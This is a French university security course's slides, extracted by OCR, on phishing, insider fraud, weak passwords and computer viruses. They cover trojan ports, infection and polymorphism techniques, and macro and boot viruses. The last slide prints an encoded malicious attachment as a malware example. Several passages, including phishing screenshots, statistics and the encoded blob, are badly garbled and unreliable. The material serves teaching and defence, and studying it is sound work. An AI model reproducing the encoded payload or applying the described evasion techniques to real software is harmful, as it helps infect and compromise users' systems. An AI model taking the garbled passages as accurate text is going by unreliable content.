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UCA M33-3. Cyber Menaces et
Cyber réeponse

Grenoble Alpes
 Panorama de quelques menaces
— Hamecgonnage & ingenierie sociale
— Fraude interne

— Violation d’acces non autorisé : mots de
passe faibles

— Vi ru S i n fo rm ati q u e Enter your password to see how vulnerable it is to hackers
. P ‘ NS . -‘-‘ .
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UCA

universits - Hamegonnage & ingénierie sociale

Grenoble Alpes

L’hamegonnage (anglais : « phishing ») constitue une « attaque de masse » qui vise a abuser de la
« naiveté » des clients ou des employés pour récupérer leurs identifiants de banque en ligne ou leurs
numeéros de carte bancaire...

Réception d’'un mail utilisant le logo et les
couleurs de I'entreprise

cxe

Avisez volre service en ligne, a é1é temporairement suspendu en raison de tentatives
infructueuses pour accéder a votre compte en ligne

UNE RELATION DURABLE, CA CHANGE LA WIE

Le test du nouvean sy:

9 Demande pour effectuer une opération commo sy : i,
notre bangue a nTF\’)d.JI:I ar mesure de sécurnté, nous avons décide de désactiver temporairement voire compte, cet

Comme Ia m|Se a_JOu r deS donnees S =il incident mai que je tente d'accéder & volre compte & partir d'une aulre adresse IP. car le
personnelles ou la confirmation du mot

systéme utilisé par les foumisseurs de services Intemet
de passe H .,
]/ERIFIED MasterCard i

— byWSA
Cher client de SOCIETE GENERALE pendu de

€) Connexion a un faux-site identique a Wl e e

Le département technigue de Sociste G o el s e e o P i prociger cone

CeIUI de I’entreprlse et Contr(’jlé par programmeée de fagon a améliorer la gua ;fn

Mous vous demandons avec bienveillanc]

I,attaq uant confirmer vos détails bancaires ' Nom Prénom * ¢

http:/woww. societegenerale. fi/customercarel|  pate de Naissance *: | Jour v Mois V;A”ée i

4 4 H ) Mous nous excusons pour tout désagré :

(4] Récupération  par  lattaquant  des -  sa B
identifiants/mots de passe (ou tout autre I——

donnée sensible) saisie par le client sur Cleptgtimat. o
Ie faux Site “alider

r du lien ci-dessous et

de™,
ve Carts de crédite st confirmé sersprotégd Contra la
aud

Noma De jeune filla de votre mére?* :|

Verifed by visa wou anti Un paiement sécurisé par la
technu\og\e de cr’yptage SSL En savoir plus
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Université
Grenoble Alpes

Hameconnage & ingénierie sociale

L’ « ingénierie sociale » constitue une « attaque ciblée » qui vise a abuser de la
« naiveté » des employés de I'entreprise :

» pour dérober directement des informations confidentielle, ou

* pour introduire des logiciels malveillants dans le systéme d’'information de la
banque

par réseaux
sociaux

par téléphone

par e-malil

les scénarios d’ingénierie sociale sont illimités, avec pour seules limites
I'imagination des attaquants et la naiveté des victimes...

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 S



UCA

unversite - Hamegonnage & ingenierie sociale

Grenoble Alpes

Exemple de phishing ciblant les employés d’un grand groupe francgais...

D006, oblémes concernant votre compte orange et carte de credit. =
| / (1 & [ = ] .-
= v ;I; "E"I L =0 - L‘—U - G =i
Relever Ecrire  Adresses Déchiffrer Répondre Rép. a tous Transférer Etiquette Supprimer  Indésirable  Imprimer

§ N'est pas frauduleux

Thunderbird pense gue ce message est peut-étre frauduleux.

Sujet: Problémes concernant votre compte orange et carte de credit.
Orange France <support@orange.fr> v

support@orange.fr v

7/10/09 5:29

ir o wol@ella.univ-paris-diderotfr »

jorange

Cher(e) client(e) :

:-uuc la verlﬁcatnon de vntre cnmpte orange ainsi que votre carte de crédit =, nous avons constaté une erreur critique.
o Ot possible en cliquant sur le lien 5u1vam

Nous nous excu 0
Veuillez noter que vous dis|

pgfez de 24 heures pour corriger les erreurs, une fois le délais dépassé,
nous serons dans l'obligepfice de suspendre votre compte.

Service Orange @
Tous droits reseryes.

Ce lien pointe en fait vers un site frauduleux, et non
pas vers un serveur légitime de I'entreprise
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Université
Grenoble Alpes

Apple: don’t Blame iCloud
for celebrity hacking

wsj.com/theshortanswe
{@jason bellini

)
I |
Des photos intimes d’acteurs, chanteurs, présentateurs
célebres stockées sur iCloud d’Apple ont été diffusées en
ligne.

Les célébrités incluaient Jennifer Lawrence, Kate Upton,
Rihanna, Kim Kadarshian, Selena Gomez entre autres.

Hameconnage & ingénierie sociale

Apple indique que :
— Ses services iCloud ou FindMyPhone
n’ont pas été compromis
— les comptes iCloud des stars
concernées ont été compromis par des
attaques ciblées de :
« compte utilisateur
* mot de passe
* questions de sécurité

Le nombre de tentatives de mots de
passe avant verrouillage du compte
était trop éleve.
— permettant des attaques par « brute
force »
Il semblerait que I'attaque soit de type
« social engineering ».

— permettant de répondre aux questions
de sécurité.

http://www.wsj.com/articles/apple-celebrity-accounts-compromised-by-very-targeted-attack-1409683803 7
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Grenoble Alpes

Fraude interne

La fraude interne est un « sujet tabou » pour les
entreprises, mais un veritable sujet d'importance !

— Catégories de fraudeurs —

Fraudeur occasionnel

Fraudeur récurrent (petites
sommes de maniére
réguliére)

Personne qui se fait

embaucher pour effectuer
une fraude

Fraude en groupe

Vulnérabilités

Faiblesse des procédures
de contrdle interne et de
surveillance des opérations

Gestion permissive des
habilitations informatiques

Absence de séparation des
taches et de rotation

— Typologies des fraudes —

Le détournement des
avoirs de la clientele

Le détournement des
avoirs de I'entreprise

La création de fausses
opérations

La personne qui fausse
ses obijectifs pour
augmenter sa
rémunération
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UCA Violation d’accés non autorisé :

Université

Grenoble Alpes mOtS de passe falbles

Des mots de passe simples ou faibles (notamment sans caracteres spéciaux comme
« !'» ou « _ » et des chiffres) permettent — entre autre — a des attaquants de mener les
actions suivantes :

Utiliser des scripts automatiques pour tester un login avec tous les mots de passe
couramment utilisés (issus d’un dictionnaire) ;

*Utiliser des outils pour tenter de « casser » le mot de passe. Ces outils sont trés
efficaces dans le cadre de mots de passe simples, et sont beaucoup moins efficaces

ns le cas de mots de passe longs et complexes.

Réflexion sur I'utilisation des mots de passe : les mots de passe constituent une faiblesse
significative pour la cybersécurité. En effet, les étres humains n’ont pas la capacité de
memoriser de nombreux mots de passe, complexes, différents pour chaque application,
etc.

Pour cette raison, d’autres moyens d’authentification émergent, de fagon a libérer les
individus des problématiques des mots de passe. Quelques exemples : la biométrie, les
tokens USB, les matrices papier, la vérification via un code SMS, les « one time
password », etc.

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 9



UG/A\ Violation d’acces non autorise :

Université

Grenoble Alpes intFUSion

Les intrusions informatiques constituent des « attagues ciblées » qui exploitent une ou des
vulnérabilité(s) technique(s) pour dérober des informations confidentielles (ex. : mots de passe, carte
bancaire...) ou prendre le contrdle des serveurs ou postes de travalil

Depuis le réseau Internet sur les ressources exposées : sites institutionnels, services de e-commerce, services

d’acceés distant, service de messagerie, etc.
Depuis le réseau interne sur I'Active Directory ou les applications sensibles internes

Quelques chiffres issus de tests d’intrusion menés sur de nombreux S.1. :

go(yo des domaines Active Directory sont compromis
en 2 heures

750/0 des domaines Active Directory contiennent au moins 1
compte privilégié avec un mot de passe trivial

500/0 des entreprises sont affectées par un défaut de
cloisonnement de ses réseaux

800/ des tests d’intrusion ne sont pas détectés par les
0 équipes IT

Sources : tests d’intrusion Orange Consulting 2012-2013

Active Directory : est un systeme d’annuaire sous Windows répertoriant les ressources du réseau notamment les sites, les

machines, les utilisateurs.
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UCA M33-3. Cyber Menaces et
Cyber reponse

Grenoble Alpes
* Les Virus et logiciels malveillants
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Universite Introduction

* Virologie informatique, branche de
I'intelligence artificielle (mathématiques +
science informatique)

* Anti-virus = produit non parfait

* Qu’est-ce qu'un virus ? Un programme
capable de s’auto-reproduire et de se
propager

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 12
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et Aspects théoriques

* Machine de Turing

— Représentation abstraite et générale d’'un ordinateur
et des programmes susceptibles d’'étre executes sur
cet ordinateur

— Objectif de ces aspects theoriques : une fonction f
est-elle calculable ? (autrement dit peut-on trouver un
algorithme informatique capable de la calculer)

— Concernant les virus, la question sera la fonction f =
auto-reproduction est-elle calculable ?

* Travaux de Von Neumann

— Automates cellulaires => ont prouve que lI'on pouvait
concevoir des programmes auto-reproductifs

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 13



UG/A\ Aspects historiques

Grenoble Alpes
* Premiers virus connus : 1970

« En fait, armée américaine (Arpanet) / MIT ont travaillé
avant (code offensif et défensif)

* Ver Xerox (1981)
* Virus Elk Cloner sur DOS 3.3 (1983)
* Virus de boot Brain (début 80)

 These de Fred Cohen (univ. de Californie du Sud, 1986)

définit le terme et la notion de virus (défini par Cohen &
Adleman, 1986)

— « Un virus est une séquence de symboles qui,
interprétée dans un environnement donne (adequat),
modifie d’autres séquences de symboles dans cet
environnement, de maniere a y inclure une copie de
lui-méme, cette copie ayant éventuellement évolué »

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 14
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Université Quelq ues ChlffreS

Grenoble Alpes

e 1999, virus CIH (dit Chernob I aobl_i e des
milliers ‘2 meére de
leur ord :mx‘m‘"ﬁ:” rte BIOS

* 1999, v¢ : E"i““’”““““" o 0
ordinate ——

= 1000

« 2003, ver W32/Sobig.F, + de 100 000 000
utilisateurs
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Quelques chiffres

Grenoble Alpes

* En 2014, environ 300 000 nouveaux virus
sont crees chaque jours

* Environ 95 % de ses nouveaux virus sont
détectes par les logiciels antivirus

« Sur les 5% restants, 4% disposent d’'une
structure proche de precedents virus

* 1% sont nouveaux et ne seront pas
détectés. Soit environ 3000 !

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 16
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Université

Grenoble Alpes

Classification des infections
informatiques (malware en

anglais)
Infections
informatiques
| Programmes Programmes
simples Autoreproducteurs

Bombes Chevaux :

: : Virus Vers
logiques de Troie

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 17
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miversie | @ infections simples

* Le mode propre de ces programmes est de
simplement s'installer dans le systeme:

— Mode résident : processus actif en mémoire de fagon

permanente afin de pouvoir agir tant que le systeme
fonctionne

— Mode furtif : l'utilisateur ne doit pas se rendre compte
gu'un tel programme, resident, soit préesent dans son
systeme (invisible dans ps —aux sous Unix ou dans
le gestionnaire des taches de Windows)

— Mode persistant : programme infectant capable de se
reinstaller apres effacement ou désinstallation (par
exemple par le biais de clés ajoutées dans la base de
registres)

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 18
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Université Bom beS |OgiqueS

Grenoble Alpes

« Deéf. : programme infectant simple, s'installant dans le
systeme et qui attend un événement (date, action,
données particulieres) appelé en général "gachette”,
pour executer sa fonction offensive

— Ex : CIH 1.2 se déclenche chaque 26 avril

— EXx : un administrateur avait implanté un programme vérifiant la
présence de son nom dans les registres de feuille de paie de
son entreprise. En cas d'absence de ce nom (ce qui signifie que
I'administrateur a été renvoyé), le programme chiffrait tous les
disques durs...

« Les antivirus ont du mal a lutter contre les bombes
logiques (avant qu'elles n'aient ete identifiées et que la
base de signature n'ait éteé actualisée, auquel cas la
détection est systématique)

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 19
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D Chevaux de Troie
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Université Cheva ux de TrOie

Grenoble Alpes

« Deéf. : un cheval de Troie est un programme simple,
composé de deux parties, le module serveur et le
module client.

 Le module serveur, installé dans l'ordinateur de la
victime, donne discretement a 'attaquant acces a tout ou
partie de ses ressources, qui en dispose via le réseau
(en general)

« grace a un module client (il est le "client" des "services"
deélivrés inconsciemment par la victime)
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D Chevaux de Troie

Le module serveur est dissimulé dans un programme attractif.
L'execution de ce programme installe a l'insu de la victime la partie
serveur du cheval de Troie

Le module client, une fois installé sur la machine de l'attaquant,

recherche sur le réseau (commande ping) les machines infectées

par le module serveur (adresse IP et port TCP ou UDP)

— Prise de contréle permettant de mener un nombre plus ou moins grand

d'actions offensives

Redémarrage de la machine

Transfert de fichiers

Exécution de code

Destruction de données

Ecoute du clavier

— Ex : Back Oirifice, Netbus, SubSeven

Pour s'en protéger : pare-feu et antivirus (il est toujours possible de
programmer un cheval de Troie, pouvant contourner ces barrages,
en le programmant "bien"...)
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UG/A\ Port et

Université

protocole utilisés par
Grenoble Alpes .
guelques chevaux de Troie

Port Protocole Cheval de Troie
1024 TCP NetSpy
1243 TCP SubSeven
1999 TCP Backdoor
6711 TCP SubSeven
6712 TCP SubSeven
6713 TCP SubSeven
6776 TCP SubSeven
12345 TCP Netbus
12346 TCP Netbus
12456 TCP Netbus
20034 TCP Netbus 2 Pro
31337 UDP Back Orifice
54320 UDP Back Orifice
54320 TCP Back Orifice 2000

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021
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UGA Diagramme fonctionnel d'un programme

Université

Grenoble Alpes auto-reproducteur (virus ou vers)

« Structure géneérale

— Routine de recherche des programmes cible
» Vérifier que la cible est exécutable

- Vérifier que la cible n'est pas déja infectée (souvent les virus ont
une signature => celle-ci est également détectée par les anti-virus)

— Routine de copie
» Copier dans la cible une copie de son propre code

— Routine d’anti-détection
» Contrer I'action des anti-virus pour assurer la survie du virus

— Eventuellement une charge finale (volonté destructrice
facultative), couplée ou non a un mécanisme de déclenchement
differe

« Différence entre programme auto-reproducteur

— Duplication de code

et infection simple
— Pas de duplication
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UCA
wiversie & Phases de vie d’un virus (1/3)

« Phase d’infection
— Passive

» Dropper (programme portant un virus) copié sur un support (CD,
teléchargement, forum) et transmis

— Virus_1099 transmis par l'intermédiaire de disquettes vierges
préformatées

— Warrier diffusé via un jeu Packman, téléchargeable

— Virus CIH dans un driver officiel de Yamaha ou pour les ordinateurs
IBM/Aptiva (1999)

— « concept » diffusé sur des CD Microsoft
— Active
« L'utilisateur exécute le « dropper »

 Phase d’incubation

— Assurer la survie du virus (exception : virus espion qui limitent
leur séjour dans I'environnement attaqué en se désinfectant eux-
mémes une fois leur fonction offensive achevée)

» Limiter sa détection par l'utilisateur
» Limiter sa détection par I'anti-virus
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wiversice  — Phases de vie d’un virus (2/3)

Grenoble Alpes

 Phase de maladie : la charge finale sera activée

— En téte de code : charge finale executée, avant toute
infection

— En fin de code : charge finale exécutée apres le
processus d’infection

— En milieu de code : si conditionnée par la réussite ou
non de l'infection

— Déclenchement différé, ex : bombe logique
» Date systeme (virus « vendredi 13 », CIH)

* Frappe de séquences particulieres (112 fois Ctrl+Alt+Supp)

* Nombre d'ouvertures d’'un document Word (virus « Colors »
aprés 300 ouvertures de documents)

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 26
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wniversice  — Phases de vie d’un virus (3/3)

Grenoble Alpes

* Phase de maladie (suite)

— Charge de nature non létale
« Affichage d’'images ou d’animations
« Sons

— Charges létales
« Atteinte a la confidentialité des données

* Intégrité du systeme ou des données
— Formatage disque dur
— Destruction, modification aléatoire des données
— Disponibilité du systéeme (redémarrage aléatoire, saturation, simulation de pannes
de périphériques)
— Incrimination des utilisateurs (introduction de données compromettantes,
utilisation du systéme a des fins délictueuses ou criminelles)

— Destruction du hardware
» Théoriquement impossible mais
« Destruction de logiciel stocké en dur possible (ex : BIOS => attaque
matérielle simulée)

» Destruction de disques durs ou autres elements matériels par « usure
accélérée » => programme sollicitant considérablement ces ressources, par
exemple

— Souvent indétectables par des anti-virus

— Conséquences de leur action peu « spectaculaires » => vue comme une panne
« aléatoire » de composants

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 27
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Universits Virus par ecrasement de code

Grenoble Alpes

* Virus execute via un programme infecté

 |nfection de cibles identifiees par la routine de
recherche en écrasant leur code exéecutable

avec son propre code

Trois possibilites d'infection
— Virus écrase la partie initiale du code de la cible : en-
téte spécifique de l'exécutable

« EXE header des fichiers EXE 16 bits
 En-téte Portable Executable des binaires 32 bits Windows

» En-téte ELF du format Linux
Dans ce cas le programme infecte est détruit et ne

s'exécute plus

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 28
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Universits Virus par ecrasement de code

Grenoble Alpes

— Virus ecrase le code cible en partie centrale
ou terminale

e Le virus doit installer une fonction de saut vers son
propre code

« Dans ce cas le programme cible peut s'exécuter
partiellement (début d'exécution suivi par un arrét
brusque)

— Virus remplace le code cible par son propre
code

* Technique peu courante et facilement détectable
=> |es exeécutables infectés ont tous la méme taille
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UCA  Virus par recouvrement de

Université

Grenoble Alpes COd e

* Accolement du code du virus a celui de la cible => augmentation de
la taille du programme infecté

« Code du virus en téte du code de la cible (type prepend) => cas le
moins fréquent car délicat a réaliser (notamment pour les EXE a
plusieurs segments)

— Necessite des recalculs d'adresses des données et instructions du
programme legitime

— Neécessite souvent un déplacement du code cible (nombre de lectures-
écritures sur le disque pouvant trahir la présence du virus)

« Code du virus en fin de la cible (type append) => cas le plus
fréquemment rencontré
— Le virus devant se lancer en premier, il faut modifier Iégerement

I'exécutable infecté => les octets initiaux sont déplacés (par exemple
dans la copie virale)

— Lors de la projection en memoire, le virus est exécuté en premier grace
a une fonction de saut, puis il restaure les octets d'origine et transféere
normalement le contréle au programme cible
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UCA  Virus par entrelacement de

Université

Grenoble Alpes COd e

« Exploitation du format PE des executables
de Windows (depuis Windows 95) : cet en-
téte permet, lors de la projection du code

en memoire :

— De donner des informations adequates pour
I'installation en mémoire (établissement d'une
Image memoire)

— De permettre la mise en commun optimale
pour plusieurs processus de fichiers EXE et

DLL
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UCA Virus par accompagnement de

Université

Grenoble Alpes COd e

 Mode le moins connu mais qui représente actuellement
le plus grand défi en matiere de lutte antivirale

« Le code cible n'est pas altéere (intégrite)

* Le code viral identifie une cible et duplique son code,
non pas en l'insérant dans le code cible mais en créant
un fichier supplémentaire (dans un repertoire
éventuellement différent) qui va "accompagner” la cible
(virus compagnon)

« Lorsqu'on veut executer le programme cible infecte
selon ce mode, la copie virale contenue dans ce fichier
est en realité exécutée en tout premier, puis le
programme cible légitime est exécuté
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UC'/A\/irus par accompagnement de code

Université
Grenoble Alpes

 Meécanismes permettant a la copie virale de se lancer prioritairement

— Exécution préemptive ou hiérarchisée (utilise une caractéristique du
systeme d'exploitation qui hiérarchise I'exécution des binaires)

 Ex pour DOS : les .COM s'exécutent avant les . EXE qui s'exécutent avant
les .BAT

— Ex :silacible est un fichier FILE . EXE, on procédera a l'infection en créant un
fichier FILE . COM qui sera lancé a sa place

« Pour Windows : utilisation d'icbnes transparentes, d'extensions de type
exécutable naturellement invisibles

— Hiérarchie des chemins de recherche des exécutables

« EXx. virus de type PATH sous Linux : les exécutables situés dans le répertoire
PATH s'exécutent avant les autres. Il suffit de créer une copie d'un fichier a
infecter dans le répertoire PATH avec le méme nom => il sera exécuté avant

» Modification de la FAT (table d'allocation des fichiers) sous DOS/Windows

— Renommage de I'exécutable propre

» Technique identique aux précédentes et permettant de renommer la copie
propre tandis que le virus prend le nom du fichier a exécuter
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yniversits. & Virus de code source

* Virus plus difficilement détectables

* Modification du code source implique la
modification de la signature (avec MD3J) si
la source avait ete signee

— Mais possibilité de recalculer une nouvelle
emprunte numerique pour le source "virusse"
si I'emprunte d'origine n'avait pas été signee

* WWW.IOCCC.O0rg

* Nota : I'infection peut étre le fait du
compilateur...
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UG/A\ Capacites des virus a contrer et defaire

Université

Grenoble Alpes les protections mises en place

e Furtivité

— Ensemble de techniques visant a leurrer I'utilisateur,
le systeme et les logiciels de protection afin de faire
croire a l'absence de code malveillant, en le rendant
hors de portée de la surveillance

» Dissimulation dans des secteurs clés
— Secteurs déclarés faussement défectueux
— Zones non utilisées par le systéme d'exploitation
» Leurrage de structures particulieres
— FAT (table d'allocation de fichiers)
» Leurrage de fonctions ou de ressources logicielles du
systeme
— Détournement ou déroutement d'interruptions, d'APl Windows

 Virus qui se désinfecte totalement ou partiellement aprés
action de la charge finale, diminuant ainsi le risque de
détection
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UG/A\ Capacites des virus a contrer et defaire

Université

Grenoble Alpes les protections mises en place

* Polymorphisme (plusieurs formes)

— Nota : Les anti-virus fonctionnent souvent sur la
détection, recherche de signatures virales

— Le but du polymorphisme est de faire varier, de copie
en copie virale, tout element fixe pouvant étre exploité
par lI'antivirus pour identifier le virus (ensemble
d'instructions, chaines de caracteres particulieres)

— Techniques de polymorphisme

» Réécriture du code par utilisation de code équivalent (ex
transparent suivant)

 Utilisation de techniques de chiffrement basique sur tout ou
partie du virus ou du ver

— Il s'agit de faire varier le chiffrement a chaque infection de
maniére que la signature du virus soit a chaque fois différente
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UGA Capacites des virus a contrer et defaire

Université

Grenoble Alpes

les protections mises en place

 Exemple en langage assembleur
loc 401010:

loc 401010:

cmp

ecx, 0

jz short loc 40101C

sub
inc
dec

Jjmp

byte ptr [eax],
eax

ecx

short loc 401010

30h

cmp ecx,0
Jz short loc 40101C

add byte ptr [eax], <valeur
aleatoire>

sub byte ptr [eax], 30h

sub byte ptr [eax], <meme
valeur aleatoire>

inc eax

or eax, eax

dec ecx

add ecx,0

Jmp short loc 401010
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UCA Classification des virus et des

Université

Grenoble Alpes Ve rS

 Nomenclatures de virus selon divers criteres
— Format visé : virus d’exécutables ou de documents
— Organe cible : virus de secteur de boot, pilotes de
periphériques
— Langage de programmation : assembleur, code
source, langage interpréte

— Comportement : virus blindés, virus lents ou rapides,
retrovirus, virus résidents, virus polymorphes ou
furtifs

— Nature de la charge finale : virus espions, virus
destructeurs

— Mode de fonctionnement : virus binaires, virus
psychologiques
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yniversits. & Virus d’'executables
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— Fichiers au format ELF sous Unix
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UCA .
universits A Virus de documents

Grenoble Alpes

« Déf : code viral contenu dans un fichier, non
executable, active par l'interpreteur contenu de
facon native dans I'application associee au
format de ce fichier. Ce code est activé

— par une fonctionnalité prévue dans I'application (cas
le plus fréquent)

— en vertu d'une faille interne de I'application
considérée

 Demontré de facon théeorique en 1984 par
Cohen et Adleman

« Apparu en 1995 (macro-virus « concept » sur
les outils de Microsoft)
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UCA Types de fichiers pouvant

Université
crencblefietontenir des virus de documents
Format Extensions
. Scripts WSH VBS, JS, VBE, JSE, WSF, WSH
Attentlc_)n Word DOC, DOT, WBK, DOCHTML
a la suite

Excel XLS, XL?, SLK, XLSHTML

OfﬁCe Powerpoint PPT, POT, PPS, PPA, PWZ, PPTHTML, POTHTML
tres répandue [ access MDB, MD?, MA?, MDBHTML
et tres RTF RTF
vulnérable ! Shell Scrap SHS

HTML HTML, HTM, ...

XHTML XHTML, XHT

XML XML, XSL

MHTML MHT, MHTML

Adobe Acrobat PDF

Postscript PS, EPS, ...

Tex/Latex TEX
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UG/A\ Exemple de «macro-»virus (virus

Université

crencbledlees de macro) dans Office-Word

* Ouverture d'un document infecte, le code viral
se copie dans le fichier « modéle » de base (ex :
normal.dot dans Word)

« Langage utilise : Visual Basic for Applications
(.VBA), natif dans les applications de la suite
Office, permet de developper des procedures
appelées macro
— Permet de combiner des commandes en une seule
— De créer de nouvelles commandes ou de les modifier
— D’automatiser des actions repétitives
— De faire interagir les diverses applications d’'Office
— De créer des interfaces personnalisées
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UG/A\ Exemple de «macro-»virus

Université

crencbleslees (virus de macro) dans Office-Word

 Macros a exécution automatique
— AutoExec (cette macro peut étre infectee)

* Auto-macros declencheées lors de certains
evenements
— AutoNew (creation d’'un nouveau document)
— AutoOpen (Ouverture d'un document)
— AutoClose (fermeture d’'un document)
— AutoExit (fermeture de Word)

 Macros usurpatrices

— Prennent le nom d'une commande Word d¢ja
définie...
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UG/A\ Virus de demarrage

Grenoble Alpes

- Ultilisent les organes specifiquement destinés a amorcer
le systeme d’exploitation

— Le BIOS (Basic Input/Output System)

» Le BIOS se trouve souvent dans des puces accessibles en écriture
* Un virus dans le BIOS =
— Non détecté par I'antivirus (car lancé avant lui)

— Possibilité d'aller n'importe ou sur le disque car procédures
d’authentification non encore opérationnelles

— Le secteur de démarrage maitre (MBR, Master Boot Record)

» Ce secteur est le premier secteur (512 bits) (téte 0, piste 0, secteur
1), il est chargé de lancer I'un des systemes d’exploitation présents

* Un virus dans le MBR = 1 secteur de boot viral
— Fonctionnalités d’'un programme de démarrage sain
+ infection d’autres secteurs de démarrage, autres disques durs...
+ fonctionnalités trés limitées

— Possibilité de stocker la charge finale du virus (a cause de la taille
limitée) dans un ou des secteurs additionnels, dissimulés ou chiffrés

— Les secteurs de démarrage secondaires (secteurs d'amorce)
* ldem

— EXx : virus Brain et Stealth
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UG/A\ Virus comportementaux

Grenoble Alpes

» Virus qui se distinguent par leur comportement spécifique : leurrer
les antivirus, ou les contrarier fortement
* Virus résidents

— Restent en mémoire une fois exécuté, utilisent les interruptions et les
API

— Sous Dos, interruptions logicielles 21H ou 27H
— Sous Linux, nécessité de lancer un démon, qui requiert des droits
particuliers, c’est donc beaucoup plus difficile a mettre en ceuvre
« Virus binaires (virus combineés, virus avec rendez-vous) => tres rare
— Associations de deux virus V, et V, (le premier active le second, ex :
Ymun et Perrun) ou les deux virus travaillent de pair
* Virus blindés (armored viruses)

— L’étude de ce type de virus par désassemblage et exécution en mode
pas a pas est trés complexe, voire quasi-impossible
« Code leurre
« Chiffrement/déchiffrement dynamique
 Ex :virus Whale, telefonica, Linux.RST
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UCA Autres types de virus

Université
Grenoble Alpes
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UCA Exemple de code
malveillant

Grenoble Alpes

 Contexte:
— Courriel de notification de facture
— Piece jointe : un document .zip
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UCA Exemple de code

Université

Grenoble Alpes

malvelllant

r yyy = ("TUOARMARAAEAAAA-BAALYARARAAARADAAAARAARAARARARAAARAAARAARAAAAAARAARARARAARAAAAYARRAA4T ugdAtANN IThyBTHAhUGhpcyBucmIncmFt IGNhbmSUdCB i
Z3ByduMdgaldgREITI61vZGUUDOBKIARRARARAABOROAATAEDAK jMAUkARARARAARADARAGELADYARKWDARAEARAAAAAAZ S SDARAYARARRAAARABAARAGARARAYARBARARARAARAEAARAAAAA
ARAYBAARARYARARAAAA [AD IUAABARABARARAAEARAEARARAAAABARAARAAARAARAAAAH TLAWBXARAARDADABARAARAAAARARRAAARAARARARARAARAAEAAWAARRRAARAARARARAARAARARAAAAA
ARARARAARARAARAARARRAAARARRARARAARARAAAA I ARACAAARARRAARAARARACCARAEYARARAARAARARAARCSBZXhBAAAA 1K s DARAYARAArAMARA IARAAARARRAAARAARARCARAGAUCTINY YWAA
ABARAAAA4AMAAA TARACUAWIARARAAAARAAAAAABAAABALNT 1 GO JARAMAARAARAEAAACAARAS AMARARAAAARRARARAAADARADARARAARAAARAAAAAAAAACWYLMARARAAREYAARACAAUANCYD)
AEC 1AAADAAAAMYAABhDBAAAY By IARARAARARAARAARAARAAARAARAARAAARAAAAAAARAAARAAAAARARAAAYYAAAGKY AAB i nARAYARAGKYAAB i 0ARAYYAAAGKYAAB i oARAYARAGKYAAB i oAl
ARYGARAGKYAAB i 0AABsWCADCADARAGAAEX 1BAABWHgNBAAAARMEEQQUHCgMARHC i EQQXcgcAAHC i ENDYeysARHC i EQOZecgBAAHC i EQRachMAAHC i EQObcheARHC i EQQcchsAAHC iEQDAchBA
AHC iEQQechMAnHC iEQQS CX1 jAfiBuohEEHWpyJuwhificK IRBBSLchMARHC iEQQE DH I rAfiBwohEEHWIyDwhinicK IRBBBOC i 8ARHC i EQQS D3 IzAfBuwohEEHxByNwhfcK IRBBSRchsARHC IEQRE En 17|
AnBuwohEEH=NyCwhificK IRBB8UcysAnHC i EQDF FX1 TAABwohEEH=ZyFuificK IRBB8Xc jBARHC i EQQF GH InAnBwohEEHx 1yBuhnic KIRBCyBAAAKKA INANoKBmBDAAAKCwe TBRYTE jiLAANAEQUR
poMCGBEARAKcyEAfHAA jOQAAAETBXEHFnJDAABWhEHF 3 IzAABwohEHGHIHAABWohEHGXILAABWohEHKAEAAADDBOAAC iwbCAhvBgARCHIPAABWG I8BAAABEWGRCBC X JREARAETCREJFgR i
20miEQgo IwiiBhQoBwhfiCy 3eF i beABEGF 1g TRhEGEQWOa Ty~~~ ~FCoJKgAnARARAAAACWE 3qg EDADAARD YgARAGKY AAB i oARA Yy ARAGKGAAB ioARBswCACUAAARAYAAEDJVBgARCHoGhuwMA
AROLBMEFhMFK3MREBEF mywI bulAffpyXlAncCyFARRKLFU I CGEGARAKckBARHAY JOEAAARETBhEGFyK i EQ'YXGYBBAAABEWCRBxYDohEHF xaMBuwfififia IRBxyD jmmMBufififia IRB6 IRE ig jARAG
[FCyHAAAKDA 4 TJ t4AEQUXWBMFEQURB ISpMoUUKg kqAAARARARAARALYBSgARDANAAADYgARAGKYAAB i 0AAA Yy ARRGRGAAB 1 oARBMWCAAVAARRAWAREL IChuYAnApy TwAACE iNADARRDOGF xeN
ARRAAGsHF gD 1 B6 IGKCMARAYUKAGRARDGAAY(ARAGKYAAB L 0ARAYAARTMAMAGHARAADAABEY jONARAREKBhZYhNAARCK IGF IKNAABWog Y ARAAR 1 0ARAYYAAAGKAAB i 0AAAYARRGKYAAR i DA
ARYGARAGKYAAB i 0ARAYIAAAGKIARGZAGAGWHARAF ARARAMSGARAKCY ZuALwAAC sHEWQWEWIr ShEEEQWaDAhuBAARACHK jAABwKAUAAADSLAY IhwYAAApy TwAAc i NAQAARARMGEQYWAG IRBig j
ARAGF CgHARAKDA4 T t 4AEQUXWBMFEQURB ISpMg4UKg kg ARAARARALgApUWADARARAD Yy ARABMAYARYEARAYARBE YKDMARAYX jOOAAAETDBEMF nLDAABWohEMCnLpAABWAA IAAA IoCOAACMBK)
ARAKCWsARADLES I tABwbLaAAApBALAAGLHC mEBAHBUDAAACHBAAABDRaNDAAAARMEF hMFKz4HBhEFmmBMAAAKAAEAABS TBh 1EEQS0aREG jm1YKAEAACSRBhYRBBEE jmkRBoSpLWREG jmkol
[DyARCHhEFF 1g TBREFBoSpMrty juEAcCCARAKKABAAAOTB<EHCcukBAHAeF48BAAABEWARDRY [ohENKBAAAAOMEQdyBOEAcB4X JOEAAAETDhEOFgmiEQ40EARAC i YRBygwhAAGEWGRCBEEKBCA
